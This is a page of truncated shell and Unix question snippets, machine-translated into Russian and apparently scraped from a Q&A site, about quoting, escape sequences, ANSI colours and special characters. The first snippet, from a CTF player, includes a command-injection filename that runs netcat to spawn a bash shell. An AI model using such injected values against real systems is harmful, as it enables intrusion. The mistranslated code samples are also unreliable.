Я играю в CTF и хочу создать файл с именем ;nc -e /bin/bash 127.0.0.1 443 с помощью команды touch, и у меня не получается . Я могу без проблем создать файл с именем ;nc -e 127.0.0.1 443 ...
Я пытаюсь написать сценарий, который должен выполнять команду, содержащую одинарные кавычки. Это команда, которую я пытаюсь выполнить в сценарии: srt-live-transmit udp://224.0.0.0:1234 (скрыто)
Я искал этот вопрос везде, но я не нашел его и, кажется, нет никакого ответа на мою текущую проблему, которая, честно говоря, не даже смысл. Итак, что же я...
При запуске ls в терминале вывод окрашивается в разные цвета: насколько мне известно, это окрашивание выполняется с помощью последовательностей espace (vt). Но запуск ls | hexdump -cC показывает только символы и LF. Перенаправление на ...
Я хочу использовать printf для вывода переменной . Возможно, эта переменная содержит знак процента %. Минимальный пример: $ TEST="содержит % процентов"
$ эхо "${ТЕСТ}"
содержит % процентов
$ printf ...
Это $PS1 моей оболочки Bash на только что установленной Ubuntu 18.04: \[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[ \033[01;32м\]\u@\h\[\033[00м\]:\[\033[01;34м\]\w\[\033[00м\] \$ Я могу ...
У меня есть код Perl (не обращайте внимания на то, что он делает прямо сейчас, я все еще работаю над этим): #!/usr/bin/perl -w if(!@ARGV)
{ print("ОШИБКА: НЕТ ARGS\n"); выход 1;
} еще
{ использовать Cwd qw(cwd); мой $dir ...
Возникла проблема с инструментом, который генерировал недопустимый JSON. Некоторые строки JSON содержали символы в диапазоне от 00 до 1f. Поэтому я хотел преобразовать эти символы в правильно экранированные значения \...
Я вижу это в своем .bashrc файле: $ PS1 =' {debian_chroot: $debian_chroot +() }\\[\033 [01; 32 м \]\u@\h \[\033 [00m \]:\[\033 [01; 34 м \]\w \[\033 [00m \]\$ 'и у меня нет абсолютно никакой идеи что все они...
Я пытаюсь использовать новую строку в bash. Я обнаружил, что для этого мне нужно цитирование ANSI C (т.е. $ '\ n'), но это часто не работает для меня. Так что мне интересно, что я делаю не так. # Это работает
>> ...
У меня проблемы с расширением из-за символа escape. UNF\1122 Сейчас я пытаюсь придерживаться очень простого примера: ps -ef | grep $USER В конце концов, после того, как я ...
Итак, вот моя сделка: работая в BASH, я уже создал функцию, которая отлично работает и принимает массив или любое количество параметров и выводит интерактивное меню, по которому можно перемещаться с помощью стрелок ...
Я хотел бы преобразовать данную команду в строку в виде массива. Это было бы полезно, например, чтобы поместить команду в bash -c. Например: cmd = ("printf '% s \ n'" "foo bar" "baz bang"
) ...
Я пишу обертку вокруг ack для локального поиска кода с дополнительными строками контекстного конвейера, подведенными к паджеру. Вот оберточный скрипт ackc. Между различными примерами я буду варьировать ...
Я вывожу команду echo -ne в файл в своем сценарии настройки для HID usb-мыши. Вот сценарий, который запускается от имени пользователя root через /etc/rc.local при загрузке: # здесь случайно появилась новая строка <...
Если я хочу, чтобы цвет ANSI 0 был красным, в терминале urxvt , Мне нужно передать последнему последовательность \ e] 4; 0; red \ a: printf '\ e] 4; 0; red \ a' Я нашел здесь общий синтаксис: OSC 4; c; spec BEL ...
Я всегда думал, что bash одинаково обрабатывает обратную косую черту при использовании без или с двойными кавычками, но я ошибался: [user @ linux ~] $ echo "foo \"
foo \
[user @ linux ~] $ echo foo \ # Пробел после \
foo ...
Страница руководства terminfo(5) описывает набор возможностей wnum (максимальное количество определяемых окон), cwin (определение окна), wingo (переход к окну), wind (изменение размера текущего окна), но только один терминал..
Мне потребовалось 10 часов поиска в сети и тестирования методов, чтобы получить результаты, которые работают в любой оболочке (#! / Bin / ш). В BASH это относительно просто, потому что при чтении можно сказать, сколько ...
Я читаю книгу по программированию оболочки и узнаю, что следующие команды эквивалентны, которые издают звуковой сигнал на моем Mac, но не издают никакого звука в Ubuntu: $ echo $ '\ a' $ echo -e "\ a" $, однако в обоих ...
Как создать сеанс ssh с помощью ssh foo @ bar, кроме любого цветового формата? Единственное требование - этот параметр должен быть объявлен в команде ssh и не может быть установлен в файле конфигурации. Кстати, ...
У меня есть сценарий оболочки, который использует следующее для печати зеленой галочки в выводе: col_green="\e[32;01m"
col_reset="\e[39;49;00m" echo -e "Done ${col_green}✓${col_reset}" После прочтения ...
Действительно ли возможно выйти из всех метасимволов строки в переменной прежде, чем передать его grep? Я знаю, что подобный вопрос задали прежде на SE (здесь) и также хорошем объяснении здесь, но мне...
Я случайно запустил cat на двоичном файле. (Бывает).
Обычно я наблюдаю поток случайных символов Юникода, когда нажимаю Ctrl + C.
Иногда я слышу случайные звуки колокольчика, потому что в файле есть '\' 'a' ...
Я пытаюсь программно создать файл, напечатав в нем разные вещи. (т.е. printf% s \\ n hostname >> file.txt) Я хотел бы отправить код Esc, чтобы очистить экран (это было бы ...
я хочу написать сценарий bash, который принимает два параметра, запускает их как команды и выгружает их вывод в файлы. содержимое myscript.sh: $ 1> file1.tmp
$ 2> file2.tmp Это отлично работает для ...
У меня есть этот сценарий Bash для i в 1 2 3
do for j in 4 5 6 do echo "hello_ $ i_ $ j" готово
готово, но он печатает hello_4
привет_5
hello_6 три раза, тогда как (как вы можете догадаться) я хочу ...
При запросе записи DNS TXT, содержащей точку с запятой (;), с использованием как dig, так и nslookup версии 9.8 .3-P1, его текстовая запись выводится в формате вывода в двойных кавычках: Неавторизованный ...
Машинное обучение Azure настаивает, чтобы я использовал запятую в качестве разделителя в файлах CSV, вместо точки с запятой. Это ломает многие вещи на компьютерах * ix, где мы используем точку с запятой, а в значениях ячеек много ...
Эзотерические символы в именах файлов иногда приводят к странным ошибкам. Недавно я сделал резервные копии файлов с помощью rsync и заметил, что через несколько минут весь процесс вывода статуса остановился. Продолжая расследование, я ...